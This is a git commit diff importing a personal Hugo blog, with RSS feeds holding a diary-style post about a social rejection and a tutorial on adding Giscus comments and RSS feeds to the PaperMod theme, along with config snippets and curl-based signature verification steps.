Initial import of Hugo site to Forgejo
This commit is contained in:
commit
cb1ba0317f
1259 changed files with 236349 additions and 0 deletions
8
public-clearnet/404.html
Normal file
8
public-clearnet/404.html
Normal file
File diff suppressed because one or more lines are too long
17
public-clearnet/about/_index.asc
Normal file
17
public-clearnet/about/_index.asc
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBIYHGltYW4uYWxp
|
||||
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qdUoP/3q3aLm3OHFW8Rz2dn9zSg5B
|
||||
lq/civd92tKb+w7k6PGQLuVwfhtsFQ8m/E2CLaDhkTMEoky3XA0zeLIxd3OzZFNr
|
||||
su2tylM+AeyGBR221YyS8TxL2Iu/V3B0kJ1S6a3ODcipmrqWdBRIypEAvGMZq225
|
||||
eSK0DeBS65ySFknHbdV5dxV32UdIVT36tH+cLn99Ib2NF+mvhUHG9V7yXEe6WW6u
|
||||
XGlguDo3ui94sqTB+pmba4RIwcN6uq702qO8+4CMrc/45KwQJx7lYmc/Vr4Ppzdw
|
||||
PQCJTS0YSqOr8BpyYdgf0eGPmzX6TvwMfNEsWCN6HQG/N8b52M99fqYvGL4v5FX6
|
||||
3WEHyvjDj6cpHa66G0MIj1pmSZeIg85CgUlE90P3dDHLHE3x0jfHNs6l+qUdK7zn
|
||||
RNyi/mbfpML/7jb9ia87Voa1ZJ5BdgwKOHUPJ38Z1OGGqN88OvDlnavBTpvNz7KM
|
||||
P1PGU8ePcwXHRvK80XRSVJTF9hY5Oh4EBCFCKIV5IGPb20XUrp42tVp7MQYneMay
|
||||
79szGdJkSVGHJ5TA8X0BpAY2Ughf9pTyzEzvs/gwDre8njIHwk40w9HmCYHEHiJX
|
||||
PvtFHXoKfMvNvZVw2LspxrQV0nyx71jx8cM9t+7sT4pZ6Ri5D8nsXqUuIkwJI97Y
|
||||
xXQ91IQKCkLmHuk0fBvw
|
||||
=4p3w
|
||||
-----END PGP SIGNATURE-----
|
||||
72
public-clearnet/about/index.html
Normal file
72
public-clearnet/about/index.html
Normal file
File diff suppressed because one or more lines are too long
1
public-clearnet/about/index.xml
Normal file
1
public-clearnet/about/index.xml
Normal file
|
|
@ -0,0 +1 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>About on AlipourIm journeys</title><link>https://blog.alipour.eu/about/</link><description>Recent content in About on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><atom:link href="https://blog.alipour.eu/about/index.xml" rel="self" type="application/rss+xml"/></channel></rss>
|
||||
BIN
public-clearnet/about/pfp.jpeg
Normal file
BIN
public-clearnet/about/pfp.jpeg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.6 MiB |
BIN
public-clearnet/about/pfp.png
Normal file
BIN
public-clearnet/about/pfp.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 117 KiB |
BIN
public-clearnet/android-chrome-192x192.png
Normal file
BIN
public-clearnet/android-chrome-192x192.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 14 KiB |
BIN
public-clearnet/android-chrome-512x512.png
Normal file
BIN
public-clearnet/android-chrome-512x512.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 40 KiB |
BIN
public-clearnet/apple-touch-icon.png
Normal file
BIN
public-clearnet/apple-touch-icon.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 12 KiB |
103
public-clearnet/archive/face_of_rejection/index.html
Normal file
103
public-clearnet/archive/face_of_rejection/index.html
Normal file
File diff suppressed because one or more lines are too long
12
public-clearnet/archive/index.html
Normal file
12
public-clearnet/archive/index.html
Normal file
File diff suppressed because one or more lines are too long
107
public-clearnet/archive/index.xml
Normal file
107
public-clearnet/archive/index.xml
Normal file
|
|
@ -0,0 +1,107 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Archives on AlipourIm journeys</title><link>https://blog.alipour.eu/archive/</link><description>Recent content in Archives on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Sun, 10 May 2026 22:46:10 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/archive/index.xml" rel="self" type="application/rss+xml"/><item><title>Face of Rejection</title><link>https://blog.alipour.eu/archive/face_of_rejection/</link><pubDate>Sun, 10 May 2026 22:46:10 +0000</pubDate><guid>https://blog.alipour.eu/archive/face_of_rejection/</guid><description><p>Now that I&rsquo;ve had some time to process, I think it&rsquo;s good to write down this sad experience.
|
||||
First things first, I do know that I stand by my decision.
|
||||
I strongly believe whatever the f*** our interactions were, they were not of any use for me.
|
||||
Like what&rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it.
|
||||
If we would never enter eachother&rsquo;s social cycle.
|
||||
I don&rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends.
|
||||
Hm&hellip; ok, it still doesn&rsquo;t make sense.
|
||||
Let me think if I can say it better or not.
|
||||
Ok, let&rsquo;s say you this person X.
|
||||
Imagine you interact with person X, talk to them, etc., but then that&rsquo;s it, it is limited to &ldquo;talking&rdquo;.
|
||||
You count person X as a friend, but they are never invited to anything.
|
||||
They are kept at arms distance.
|
||||
Now I would assume it&rsquo;s fun for many many people, but me&hellip;
|
||||
I already have a small social cycle.
|
||||
It requires so much energy for me to start new connections, connections that are worth keeping.
|
||||
I don&rsquo;t want to be a docker container.
|
||||
Some isolated thing that is only interacted with when needed.
|
||||
But I think I communicated this so badly, that it came off wrong.
|
||||
To be honest, even my therapist didn&rsquo;t seem to believe me when I said I wanted to be included in her social circle.
|
||||
He though it was an attempt by me to poke her.
|
||||
I do strongly believe this wasn&rsquo;t the case, but I&rsquo;m too hurt to try to defend myself.
|
||||
I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.</p></description><content:encoded><![CDATA[<p>Now that I’ve had some time to process, I think it’s good to write down this sad experience.
|
||||
First things first, I do know that I stand by my decision.
|
||||
I strongly believe whatever the f*** our interactions were, they were not of any use for me.
|
||||
Like what’s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it.
|
||||
If we would never enter eachother’s social cycle.
|
||||
I don’t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends.
|
||||
Hm… ok, it still doesn’t make sense.
|
||||
Let me think if I can say it better or not.
|
||||
Ok, let’s say you this person X.
|
||||
Imagine you interact with person X, talk to them, etc., but then that’s it, it is limited to “talking”.
|
||||
You count person X as a friend, but they are never invited to anything.
|
||||
They are kept at arms distance.
|
||||
Now I would assume it’s fun for many many people, but me…
|
||||
I already have a small social cycle.
|
||||
It requires so much energy for me to start new connections, connections that are worth keeping.
|
||||
I don’t want to be a docker container.
|
||||
Some isolated thing that is only interacted with when needed.
|
||||
But I think I communicated this so badly, that it came off wrong.
|
||||
To be honest, even my therapist didn’t seem to believe me when I said I wanted to be included in her social circle.
|
||||
He though it was an attempt by me to poke her.
|
||||
I do strongly believe this wasn’t the case, but I’m too hurt to try to defend myself.
|
||||
I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.</p>
|
||||
<p>Now the interesting part is my reaction. “Withdrawal”.
|
||||
The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed.
|
||||
But this was strong.
|
||||
I did not want to respond.
|
||||
In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt.
|
||||
During my therappy though, I did open the message.
|
||||
I went silent.
|
||||
I tried to process.
|
||||
The weight of that was heavy.
|
||||
It became hard to talk.
|
||||
Hard to reason.
|
||||
It was just…. sad.</p>
|
||||
<p>Going forward I know that the best way forward for me is to stop any communications with her.
|
||||
It is sad, this losing of a friend, but let’s be honest, were we friends?
|
||||
No.
|
||||
Not my definition of friendship.
|
||||
And honestly, this should be a hard line for me, I don’t care how you define friendship.
|
||||
If it isn’t mutual, it isn’t good enough for me.
|
||||
I need to be more dominant, and less scared.
|
||||
My lines are my lines, and they are not to be negotiated with.
|
||||
I need to remain strong, and just let go.</p>
|
||||
<p>I just realized I did not even talk about what happened.
|
||||
LMAO.
|
||||
Long story short, there was this person who I knew for some time.
|
||||
We used to exchange messages every once in a while.
|
||||
I asked if we would be spending time together, or with each other’s social circle, which to be honest came out super wrong :))))))
|
||||
I wasn’t trying to ask her out.
|
||||
I just wanted to be included in some of the social gatherings with her social circle.
|
||||
To expand mine.
|
||||
To get to see new people.
|
||||
Call me an idiot, or whatever, but I didn’t know how to put this into words.
|
||||
And I did not do it correctly it seems as I got “rejected”.
|
||||
But as my friend says, “better a sad ending, than a never ending sadness”.
|
||||
I wansn’t trying to ask her out, but my social skills are so bad that it came so so wrongly.</p>
|
||||
<p>I do stand by my decision though.
|
||||
No more interactions with her.
|
||||
Nothing.
|
||||
I need to become friends with people that don’t keep me isolated, or stored for their needs.
|
||||
It should be mutual.
|
||||
At least, whatever interactions we had, had nothing useful for me.
|
||||
If anything, it just hurt me by showing how lonely I am.
|
||||
You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out?
|
||||
If I’m not being helped.
|
||||
If I’m being kept at arms distance.
|
||||
If I’m being isolated.
|
||||
I’m no docker process who should be kept isolated.
|
||||
I’m the kernel module.</p>
|
||||
<p>This came out weird coming from me, but it is what it is :)
|
||||
I should, and need to say “I” sometimes.
|
||||
I need to assert dominance, to show I’m in control, to show I’m happy, to show everything is fine.</p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/archive/face_of_rejection.md">Markdown</a> ·
|
||||
<a href="/sources/archive/face_of_rejection.md.asc">Signature (.asc)</a>
|
||||
</p><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/archive/face_of_rejection.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/archive/face_of_rejection.md.asc
|
||||
gpg --verify face_of_rejection.md.asc face_of_rejection.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/archive/page/1/index.html
Normal file
2
public-clearnet/archive/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/archive/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/archive/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/archive/"></head></html>
|
||||
File diff suppressed because one or more lines are too long
15
public-clearnet/categories/blog/index.html
Normal file
15
public-clearnet/categories/blog/index.html
Normal file
File diff suppressed because one or more lines are too long
621
public-clearnet/categories/blog/index.xml
Normal file
621
public-clearnet/categories/blog/index.xml
Normal file
|
|
@ -0,0 +1,621 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Blog on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/blog/</link><description>Recent content in Blog on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Thu, 23 Oct 2025 19:31:12 +0200</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/blog/index.xml" rel="self" type="application/rss+xml"/><item><title>New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)</title><link>https://blog.alipour.eu/posts/comments-rss-papermod/</link><pubDate>Thu, 23 Oct 2025 19:31:12 +0200</pubDate><guid>https://blog.alipour.eu/posts/comments-rss-papermod/</guid><description>A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod.</description><content:encoded><![CDATA[<blockquote>
|
||||
<p>Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.<br>
|
||||
Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.</p></blockquote>
|
||||
<hr>
|
||||
<p>I’ve been wanting to add comment section to my blog for a while.
|
||||
There are a few problems.</p>
|
||||
<ul>
|
||||
<li>I don’t want to get attacked by bots or random people for no reason.</li>
|
||||
<li>I don’t want to allow weird things to happen.</li>
|
||||
<li>I don’t want to have a database for it.</li>
|
||||
</ul>
|
||||
<p>So… I decided to take a path which is not necesserially the best.
|
||||
It requires a third party to act on your behalf, but it is not as scary as it sounds.
|
||||
According to Github:</p>
|
||||
<blockquote>
|
||||
<p><strong>What the app can do</strong>
|
||||
The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.</p></blockquote>
|
||||
<blockquote>
|
||||
<p><strong>What “Act on your behalf” means</strong>
|
||||
That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.</p></blockquote>
|
||||
<blockquote>
|
||||
<p><strong>Do commenters have alternatives?</strong>
|
||||
Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.</p></blockquote>
|
||||
<blockquote>
|
||||
<p><strong>Privacy & storage</strong>
|
||||
No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.</p></blockquote>
|
||||
<p>With the notice out of the way let’s dive right in!</p>
|
||||
<hr>
|
||||
<h2 id="why-i-chose-giscus-instead-of-disqus">Why I chose Giscus (instead of Disqus)</h2>
|
||||
<ul>
|
||||
<li><strong>No ads or trackers</strong> (my page weight thanks me).</li>
|
||||
<li><strong>Uses GitHub Discussions</strong> (portable, transparent, easy to search).</li>
|
||||
<li><strong>Readers log in with GitHub</strong> (no mystery auth popups).</li>
|
||||
<li>In theory you can directly go to the repo’s discussion section and comment there!</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="what-you-need-for-your-site-not-per-user">What you need (for your site, not per user)</h2>
|
||||
<ul>
|
||||
<li>A Hugo site using <strong>PaperMod</strong> ✅</li>
|
||||
<li>A GitHub account ✅</li>
|
||||
<li>A <strong>public</strong> repository for the discussion threads (I called mine <code>blog-comments</code>) with <strong>Discussions</strong> enabled ✅</li>
|
||||
<li>Giscus app installed on that repo ✅</li>
|
||||
</ul>
|
||||
<p>If you like to keep your main site repo clean, use a separate one, e.g. <code>github-username/blog-comments</code>.</p>
|
||||
<hr>
|
||||
<h2 id="1-turn-on-comments-with-giscus">1) Turn on comments with Giscus</h2>
|
||||
<p>PaperMod renders a <code>comments.html</code> partial when <code>params.comments = true</code>.<br>
|
||||
So we enable it in config and create the partial.</p>
|
||||
<h3 id="11-enable-comments-globally">1.1 Enable comments globally</h3>
|
||||
<p><code>hugo.toml</code> (snippet)</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">comments</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span></code></pre></div><p>You can still opt out per post with <code>comments = false</code> in front matter.</p>
|
||||
<h3 id="12-create-the-comments-partial">1.2 Create the comments partial</h3>
|
||||
<p>Create this file <strong>in your site</strong> (not inside the theme):</p>
|
||||
<pre tabindex="0"><code>layouts/partials/comments.html
|
||||
</code></pre><p>Paste the Giscus embed (swap the placeholders with yours from giscus.app):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">section</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"comments"</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"giscus"</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">script</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">"https://giscus.app/client.js"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-repo</span><span style="color:#f92672">=</span><span style="color:#e6db74">"yourname/blog-comments"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-repo-id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"YOUR_REPO_ID"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-category</span><span style="color:#f92672">=</span><span style="color:#e6db74">"Comments"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-category-id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"YOUR_CATEGORY_ID"</span> <span style="color:#960050;background-color:#1e0010"><!</span><span style="color:#a6e22e">--</span> <span style="color:#a6e22e">Get</span> <span style="color:#a6e22e">them</span> <span style="color:#a6e22e">from</span> <span style="color:#a6e22e">Giscus</span><span style="color:#960050;background-color:#1e0010">'</span><span style="color:#a6e22e">s</span> <span style="color:#a6e22e">page</span><span style="color:#960050;background-color:#1e0010">!</span> <span style="color:#a6e22e">--</span>>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">mapping</span><span style="color:#f92672">=</span><span style="color:#e6db74">"pathname"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">strict</span><span style="color:#f92672">=</span><span style="color:#e6db74">"0"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">reactions</span><span style="color:#f92672">-</span><span style="color:#a6e22e">enabled</span><span style="color:#f92672">=</span><span style="color:#e6db74">"1"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">emit</span><span style="color:#f92672">-</span><span style="color:#a6e22e">metadata</span><span style="color:#f92672">=</span><span style="color:#e6db74">"0"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">input</span><span style="color:#f92672">-</span><span style="color:#a6e22e">position</span><span style="color:#f92672">=</span><span style="color:#e6db74">"bottom"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">theme</span><span style="color:#f92672">=</span><span style="color:#e6db74">"preferred_color_scheme"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">"en"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loading</span><span style="color:#f92672">=</span><span style="color:#e6db74">"lazy"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">crossorigin</span><span style="color:#f92672">=</span><span style="color:#e6db74">"anonymous"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">async</span><span style="color:#f92672">></span>
|
||||
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">script</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">noscript</span>>Enable JavaScript to view comments powered by Giscus.</<span style="color:#f92672">noscript</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">section</span>>
|
||||
</span></span></code></pre></div><p><strong>Notes</strong></p>
|
||||
<ul>
|
||||
<li>You’ll get <code>repo-id</code> and <code>category-id</code> from <strong>giscus.app</strong> after picking your repo + category.</li>
|
||||
<li><code>data-mapping="pathname"</code> works great for static sites.</li>
|
||||
<li>Prefer a <strong>public</strong> repo so visitors can read discussions without friction.</li>
|
||||
<li>Want a different language? Change <code>data-lang</code> (e.g., <code>de</code>, <code>fr</code>).</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="2-enable-rss-home--sections">2) Enable RSS (home + sections)</h2>
|
||||
<p>Hugo already knows how to generate feeds; we just tell it where.</p>
|
||||
<p><code>hugo.toml</code></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">"https://example.com/"</span> <span style="color:#75715e"># set your production URL</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">outputs</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">home</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>, <span style="color:#e6db74">"JSON"</span>] <span style="color:#75715e"># JSON is optional (e.g., for on-site search)</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">section</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">taxonomy</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">term</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">services</span>.<span style="color:#a6e22e">rss</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">limit</span> = <span style="color:#ae81ff">-1</span> <span style="color:#75715e"># -1 = no cap; or set e.g. 20</span>
|
||||
</span></span></code></pre></div><p><strong>Feed URLs</strong></p>
|
||||
<ul>
|
||||
<li>Home feed: <code>/index.xml</code> → <code>https://example.com/index.xml</code></li>
|
||||
<li>Section feeds: <code>/posts/index.xml</code>, <code>/notes/index.xml</code>, etc. (folders are lowercase)</li>
|
||||
</ul>
|
||||
<blockquote>
|
||||
<p>If you’re using a <code>.onion</code> address or staging domain, just set that in <code>baseURL</code>.<br>
|
||||
Locally, Hugo serves feeds at <code>http://localhost:1313/index.xml</code>.</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="3-show-an-rss-button-on-the-home-page">3) Show an RSS button on the home page</h2>
|
||||
<p>PaperMod shows a nice RSS icon on <strong>section/taxonomy</strong> lists by default (when enabled), but not on the home page. Two options:</p>
|
||||
<h3 id="option-a--use-the-home-social-icons-row">Option A — Use the home “social icons” row</h3>
|
||||
<p>This appears if you enable <strong>Home-Info</strong> or <strong>Profile</strong> mode:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">homeInfoParams</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">Title</span> = <span style="color:#e6db74">"Hello, internet!"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">Content</span> = <span style="color:#e6db74">"Notes, experiments, and occasional rabbit holes."</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[[<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">socialIcons</span>]]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">name</span> = <span style="color:#e6db74">"rss"</span> <span style="color:#75715e"># lowercase matters</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">url</span> = <span style="color:#e6db74">"/index.xml"</span>
|
||||
</span></span></code></pre></div><h3 id="option-b--add-an-icon-in-the-footer-theme-safe">Option B — Add an icon in the footer (theme-safe)</h3>
|
||||
<p>Create:</p>
|
||||
<pre tabindex="0"><code>layouts/partials/extend_footer.html
|
||||
</code></pre><p>Paste:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">"/index.xml"</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">"alternate"</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"application/rss+xml"</span> <span style="color:#a6e22e">title</span><span style="color:#f92672">=</span><span style="color:#e6db74">"RSS"</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"rss-link"</span>>
|
||||
</span></span><span style="display:flex;"><span> {{ partial "svg.html" (dict "name" "rss") }}
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span>>RSS</<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">a</span>>
|
||||
</span></span></code></pre></div><p>Make it a sensible size:</p>
|
||||
<p>Create:</p>
|
||||
<pre tabindex="0"><code>assets/css/extended/rss.css
|
||||
</code></pre><p>Paste:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-css" data-lang="css"><span style="display:flex;"><span><span style="color:#75715e">/* Small & aligned RSS icon in the footer */</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">rss-link</span> { <span style="color:#66d9ef">display</span>: <span style="color:#66d9ef">inline-flex</span>; <span style="color:#66d9ef">align-items</span>: <span style="color:#66d9ef">center</span>; <span style="color:#66d9ef">gap</span>: <span style="color:#ae81ff">.35</span><span style="color:#66d9ef">rem</span>; }
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">rss-link</span> <span style="color:#f92672">svg</span> { <span style="color:#66d9ef">margin-left</span>: <span style="color:#ae81ff">10</span><span style="color:#66d9ef">px</span>; <span style="color:#66d9ef">width</span>: <span style="color:#ae81ff">18</span><span style="color:#66d9ef">px</span>; <span style="color:#66d9ef">height</span>: <span style="color:#ae81ff">18</span><span style="color:#66d9ef">px</span>; } <span style="color:#75715e">/* a bit of left margin for good measure!*/</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">rss-link</span> <span style="color:#f92672">span</span> { <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">.95</span><span style="color:#66d9ef">rem</span>; }
|
||||
</span></span></code></pre></div><p>PaperMod auto-bundles anything under <code>assets/css/extended/</code>, so no extra imports needed.</p>
|
||||
<hr>
|
||||
<h2 id="4-verify-everything">4) Verify everything</h2>
|
||||
<p>Build or run dev:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hugo <span style="color:#75715e"># outputs to ./public</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># or</span>
|
||||
</span></span><span style="display:flex;"><span>hugo server <span style="color:#75715e"># serves at http://localhost:1313</span>
|
||||
</span></span></code></pre></div><p>Check feeds:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Home feed:</span>
|
||||
</span></span><span style="display:flex;"><span>curl -s http://localhost:1313/index.xml | head
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># A section feed (adjust path to your section name):</span>
|
||||
</span></span><span style="display:flex;"><span>curl -s http://localhost:1313/posts/index.xml | head
|
||||
</span></span></code></pre></div><p>Check comments:</p>
|
||||
<ol>
|
||||
<li>Open any post locally.</li>
|
||||
<li>Scroll to the bottom — Giscus should appear.</li>
|
||||
<li>Try a reaction or comment (you’ll be prompted to sign in with GitHub).</li>
|
||||
</ol>
|
||||
<hr>
|
||||
<h2 id="5-per-post-controls-handy-later">5) Per-post controls (handy later)</h2>
|
||||
<p>Turn comments off for a single post:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># in that post’s front matter</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">comments</span> = <span style="color:#66d9ef">false</span>
|
||||
</span></span></code></pre></div><p>Full content in RSS (global):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
|
||||
